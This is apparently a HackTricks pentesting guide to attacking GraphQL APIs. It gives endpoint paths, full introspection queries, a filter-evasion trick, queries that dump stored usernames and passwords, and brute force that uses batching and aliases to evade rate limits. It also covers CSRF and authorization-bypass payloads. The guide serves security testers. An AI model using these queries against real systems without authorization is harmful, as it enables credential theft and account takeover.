# GraphQL
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - πŸŽ™οΈ Twitch πŸŽ™οΈ - πŸŽ₯ Youtube πŸŽ₯ * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**πŸ’¬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
## Introduction GraphQL acts as an alternative to REST API. Rest APIs require the client to send multiple requests to different endpoints on the API to query data from the backend database. With graphQL you only need to send one request to query the backend. This is a lot simpler because you don’t have to send multiple requests to the API, a single request can be used to gather all the necessary information. ## GraphQL As new technologies emerge so will new vulnerabilities. By **default** graphQL does **not** implement **authentication**, this is put on the developer to implement. This means by default graphQL allows anyone to query it, any sensitive information will be available to attackers unauthenticated. When performing your directory brute force attacks make sure to add the following paths to check for graphQL instances. * `/graphql` * `/graphiql` * `/graphql.php` * `/graphql/console` * `/api` * `/api/graphql` * `/graphql/api` * `/graphql/graphql`
Once you find an open graphQL instance you need to know **what queries it supports**. This can be done by using the introspection system, more details can be found here: [**GraphQL: A query language for APIs.**\ It’s often useful to ask a GraphQL schema for information about what queries it supports. GraphQL allows us to do so…](https://graphql.org/learn/introspection/) ### Fingerprint The tool [**graphw00f**](https://github.com/dolevf/graphw00f) is capable to detect wich GraphQL engine is used in a server and then prints some helpful information for the security auditor. #### Universal queries If you send `query{__typename}` to any GraphQL endpoint, it will include the string `{"data": {"__typename": "query"}}` somewhere in its response. This is known as a universal query, and is a useful tool in probing whether a URL corresponds to a GraphQL service. The query works because every GraphQL endpoint has a reserved field called `__typename` that returns the queried object's type as a string. ### Basic Enumeration Graphql usually supports **GET**, **POST** (x-www-form-urlencoded) and **POST**(json). Although for security it's recommended to only allow json to prevent CSRF attacks. #### Introspection To use introspection to discover schema information, query the `__schema` field. This field is available on the root type of all queries. ```bash query={__schema{types{name,fields{name}}}} ``` With this query you will find the name of all the types being used: ![](<../../.gitbook/assets/image (202).png>) {% code overflow="wrap" %} ```bash query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}} ``` {% endcode %} With this query you can extract all the types, it's fields, and it's arguments (and the type of the args). This will be very useful to know how to query the database. ![](<../../.gitbook/assets/image (207) (3).png>) **Errors** It's interesting to know if the **errors** are going to be **shown** as they will contribute with useful **information.** ``` ?query={__schema} ?query={} ?query={thisdefinitelydoesnotexist} ``` ![](<../../.gitbook/assets/image (205) (1).png>) **Enumerate Database Schema via Introspection** {% hint style="info" %} If introspection is enabled but the above query doesn't run, try removing the `onOperation`, `onFragment`, and `onField` directives from the query structure. {% endhint %} ```bash #Full introspection query query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description args { ...InputValue } onOperation #Often needs to be deleted to run query onFragment #Often needs to be deleted to run query onField #Often needs to be deleted to run query } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name } } } } ``` Inline introspection query: ``` /?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+} ``` The last code line is a graphql query that will dump all the meta-information from the graphql (objects names, parameters, types...) ![](<../../.gitbook/assets/image (206).png>) If introspection is enabled you can use [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) to view in a GUI all the options. ### Querying Now that we know which kind of information is saved inside the database, let's try to **extract some values**. In the introspection you can find **which object you can directly query for** (because you cannot query an object just because it exists). In the following image you can see that the "_queryType_" is called "_Query_" and that one of the fields of the "_Query_" object is "_flags_", which is also a type of object. Therefore you can query the flag object. ![](../../.gitbook/assets/screenshot-from-2021-03-13-18-17-48.png) Note that the type of the query "_flags_" is "_Flags_", and this object is defined as below: ![](../../.gitbook/assets/screenshot-from-2021-03-13-18-22-57.png) You can see that the "_Flags_" objects are composed by **name** and .**value** Then you can get all the names and values of the flags with the query: ```javascript query={flags{name, value}} ``` Note that in case the **object to query** is a **primitive** **type** like **string** like in the following example ![](<../../.gitbook/assets/image (441).png>) You can just query is with: ```javascript query={hiddenFlags} ``` In another example where there were 2 objects inside the "_Query_" type object: "_user_" and "_users_".\ If these objects don't need any argument to search, could **retrieve all the information from them** just **asking** for the data you want. In this example from Internet you could extract the saved usernames and passwords: ![](<../../.gitbook/assets/image (208).png>) However, in this example if you try to do so you get this **error**: ![](<../../.gitbook/assets/image (210).png>) Looks like somehow it will search using the "_**uid**_" argument of type _**Int**_.\ Anyway, we already knew that, in the [Basic Enumeration](graphql.md#basic-enumeration) section a query was purposed that was showing us all the needed information: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` If you read the image provided when I run that query you will see that "_**user**_" had the **arg** "_**uid**_" of type _Int_. So, performing some light _**uid**_ bruteforce I found that in _**uid**=**1**_ a username and a password was retrieved:\ `query={user(uid:1){user,password}}` ![](<../../.gitbook/assets/image (211).png>) Note that I **discovered** that I could ask for the **parameters** "_**user**_" and "_**password**_" because if I try to look for something that doesn't exist (`query={user(uid:1){noExists}}`) I get this error: ![](<../../.gitbook/assets/image (213).png>) And during the **enumeration phase** I discovered that the "_**dbuser**_" object had as fields "_**user**_" and "_**password**_. **Query string dump trick (thanks to @BinaryShadow\_)** If you can search by a string type, like: `query={theusers(description: ""){username,password}}` and you **search for an empty string** it will **dump all data**. (_Note this example isn't related with the example of the tutorials, for this example suppose you can search using "**theusers**" by a String field called "**description**"_). GraphQL is a relatively new technology that is starting to gain some traction among startups and large corporations. Other than missing authentication by default graphQL endpoints can be vulnerable to other bugs such as IDOR. ### Searching For this example imagine a data base with **persons** identified by the email and the name and **movies** identified by the name and rating. A **person** can be **friend** with other **persons** and a person can **have movies**. You can **search** persons **by** the **name** and get their emails: ```javascript { searchPerson(name: "John Doe") { email } } ``` You can **search** persons **by** the **name** and get their **subscribed** **films**: ```javascript { searchPerson(name: "John Doe") { email subscribedMovies { edges { node { name } } } } } ``` Note how its indicated to retrieve the `name` of the `subscribedMovies` of the person. You can also **search several objects at the same time**. In this case, a search 2 movies is done: ```javascript { searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) { name } }r ``` Or even **relations of several different objects using aliases**: ```javascript { johnsMovieList: searchPerson(name: "John Doe") { subscribedMovies { edges { node { name } } } } davidsMovieList: searchPerson(name: "David Smith") { subscribedMovies { edges { node { name } } } } } ``` ### Mutations **Mutations are used to make changes in the server-side.** In the **introspection** you can find the **declared** **mutations**. In the following image the "_MutationType_" is called "_Mutation_" and the "_Mutation_" object contains the names of the mutations (like "_addPerson_" in this case): ![](../../.gitbook/assets/screenshot-from-2021-03-13-18-26-27.png) For this example imagine a data base with **persons** identified by the email and the name and **movies** identified by the name and rating. A **person** can be **friend** with other **persons** and a person can **have movies**. A mutation to **create new** movies inside the database can be like the following one (in this example the mutation is called `addMovie`): ```javascript mutation { addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) { movies { name rating } } } ``` **Note how both the values and type of data are indicated in the query.** There may also be also a **mutation** to **create** **persons** (called `addPerson` in this example) with friends and files (note that the friends and films have to exist before creating a person related to them): ```javascript mutation { addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) { person { name email friends { edges { node { name email } } } subscribedMovies { edges { node { name rating releaseYear } } } } } } ``` ### Batching brute-force in 1 API request This information was take from [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\ Authentication through GraphQL API with **simultaneously sending many queries with different credentials** to check it. It’s a classic brute force attack, but now it’s possible to send more than one login/password pair per HTTP request because of the GraphQL batching feature. This approach would trick external rate monitoring applications into thinking all is well and there is no brute-forcing bot trying to guess passwords. Below you can find the simplest demonstration of an application authentication request, with **3 different email/passwords pairs at a time**. Obviously it’s possible to send thousands in a single request in the same way: ![](<../../.gitbook/assets/image (182) (1).png>) As we can see from the response screenshot, the first and the third requests returned _null_ and reflected the corresponding information in the _error_ section. The **second mutation had the correct authentication** data and the response has the correct authentication session token. ![](<../../.gitbook/assets/image (119) (1).png>) ## GraphQL Without Introspection More and more **graphql endpoints are disabling introspection**. However, the errors that graphql throws when an unexpected request is received are enough for tools like [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) to recreate most part of the schema. Moreover, the Burp Suite extension [**GraphQuail**](https://github.com/forcesunseen/graphquail) extension **observes GraphQL API requests going through Burp** and **builds** an internal GraphQL **schema** with each new query it sees. It can also expose the schema for GraphiQL and Voyager. The extension returns a fake response when it receives an introspection query. As a result, GraphQuail shows all queries, arguments, and fields available for use within the API. For more info [**check this**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). A nice **wordlist** to discover [**GraphQL entities can be found here**](https://github.com/Escape-Technologies/graphql-wordlist?). ### Bypassing GraphQL introspection defences If you cannot get introspection queries to run for the API you are testing, try inserting a **special character after the `__schema` keyword**. When developers disable introspection, they could use a regex to exclude the `__schema` keyword in queries. You should try characters like **spaces**, **new lines** and **commas**, as they are **ignored** by GraphQL but not by flawed regex. As such, if the developer has only excluded `__schema{`, then the below introspection query would not be excluded. ```bash #Introspection query with newline { "query": "query{__schema {queryType{name}}}" } ``` If this doesn't work, try running the probe over an alternative request method, as introspection may only be disabled over POST. Try a GET request, or a POST request with a content-type of `x-www-form-urlencoded`. ### Leaked GraphQL Structures If introspection is disabled, try looking at the website source code. The queries are often pre loaded into browser as javascript libraries. These prewritten queries can reveal powerful information about the schema and use of each object and function. The `Sources` tab of the developer tools can search all files to enumerate where the queries are saved. Sometimes even the administrator protected queries are already exposed. ```javascript Inspect/Sources/"Search all files" file:* mutation file:* query ``` ## CSRF in GraphQL If you don't know what CSRF is read the following page: {% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %} [csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md) {% endcontent-ref %} Out there you are going to be able to find several GraphQL endpoints **configured without CSRF tokens.** Note that GraphQL request are usually sent via POST requests using the Content-Type **`application/json`**. ```javascript {"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"} ``` However, most GraphQL endpoints also support **`form-urlencoded` POST requests:** ```javascript query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ``` Therefore, as CSRF requests like the previous ones are sent **without preflight requests**, it's possible to **perform** **changes** in the GraphQL abusing a CSRF. However, note that the new default cookie value of the `samesite` flag of Chrome is `Lax`. This means that the cookie will only be sent from a third party web in GET requests. Note that it's usually possible to send the **query** **request** also as a **GET** **request and the CSRF token might not being validated in a GET request.** Also, abusing a [**XS-Search**](../../pentesting-web/xs-search.md) **attack** might be possible to exfiltrate content from the GraphQL endpoint abusing the credentials of the user. For more information **check the** [**original post here**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html). ## Authorization in GraphQL Many GraphQL functions defined on the endpoint might only check the authentication of the requester but not authorization. Modifying query input variables could lead to sensitive account details [leaked](https://hackerone.com/reports/792927). Mutation could even lead to account takeover trying to modify other account data. ```javascript { "operationName":"updateProfile", "variables":{"username":INJECT,"data":INJECT}, "query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}" } ``` ### Bypass authorization in GraphQL [Chaining queries](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) together can bypass a weak authentication system. In the below example you can see that the operation is "forgotPassword" and that it should only execute the forgotPassword query associated with it. This can be bypassed by adding a query to the end, in this case we add "register" and a user variable for the system to register as a new user.
## Rate limit bypass using aliases Ordinarily, GraphQL objects can't contain multiple properties with the same name. Aliases enable you to bypass this restriction by **explicitly naming the properties you want** the API to return. You can use aliases to return **multiple instances of the same** type of object in one request. For more information on GraphQL aliases, see [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). While aliases are intended to limit the number of API calls you need to make, they can also be used to brute force a GraphQL endpoint. Many endpoints will have some sort of **rate limiter in place to prevent brute force attacks**. Some rate limiters work based on the **number of HTTP requests** received rather than the number of operations performed on the endpoint. Because aliases effectively enable you to send multiple queries in a single HTTP message, they can bypass this restriction. The simplified example below shows a series of **aliased queries checking whether store discount codes are valid**. This operation could potentially bypass rate limiting as it is a single HTTP request, even though it could potentially be used to check a vast number of discount codes at once. ```bash #Request with aliased queries query isValidDiscount($code: Int) { isvalidDiscount(code:$code){ valid } isValidDiscount2:isValidDiscount(code:$code){ valid } isValidDiscount3:isValidDiscount(code:$code){ valid } } ``` ## Tools ### Vulnerability scanners * [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Toolkit that can be used to grab schemas and search for sensitive data, test authorization, brute force schemas, and find paths to a given type. * [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Can be used as standalone or [Burp extension](https://github.com/doyensec/inql). * [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Can be used as a CLI client also to automate attacks * [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Tool that lists the different ways of reaching a given type in a GraphQL schema. * [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp extension for advanced GraphQL testing. The _**Scanner**_ is the core of InQL v5.0, where you can analyze a GraphQL endpoint or a local introspection schema file. It auto-generates all possible queries and mutations, organizing them into a structured view for your analysis. The _**Attacker**_ component lets you run batch GraphQL attacks, which can be useful for circumventing poorly implemented rate limits. ### Clients * [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): GUI client * [https://altair.sirmuel.design/](https://altair.sirmuel.design/): GUI Client ### Automatic Tests {% embed url="https://graphql-dashboard.herokuapp.com/" %} * Video explaining AutoGraphQL: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU) ## References * [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/) * [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) * [**https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4**](https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4) * [**http://ghostlulz.com/api-hacking-graphql/**](http://ghostlulz.com/api-hacking-graphql/) * [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md) * [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) * [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - πŸŽ™οΈ Twitch πŸŽ™οΈ - πŸŽ₯ Youtube πŸŽ₯ * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**πŸ’¬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).